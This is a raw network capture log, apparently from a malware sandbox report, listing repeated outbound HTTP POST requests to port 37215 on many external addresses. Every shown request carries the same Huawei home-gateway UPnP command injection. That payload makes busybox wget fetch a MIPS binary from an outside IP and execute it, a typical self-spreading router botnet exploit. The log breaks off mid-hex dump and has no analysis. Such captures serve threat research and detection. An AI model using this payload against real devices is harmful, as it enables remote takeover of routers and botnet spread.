Jun 10, 2024 15:38:00.225873947 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
291	192.168.2.13	33888	197.22.241.36	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.226767063 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
292	192.168.2.13	56846	41.31.222.74	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.227633953 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
293	192.168.2.13	54124	197.100.180.103	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.228569984 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
294	192.168.2.13	52390	156.192.233.189	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.229451895 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
295	192.168.2.13	53326	41.63.57.16	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.230283022 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
296	192.168.2.13	34872	41.73.107.249	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.231115103 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
297	192.168.2.13	49858	156.36.86.237	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.231961966 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
298	192.168.2.13	33494	197.159.198.51	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.232831001 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
299	192.168.2.13	59904	197.114.103.51	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.233671904 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
300	192.168.2.13	43084	156.178.253.203	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.234498024 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 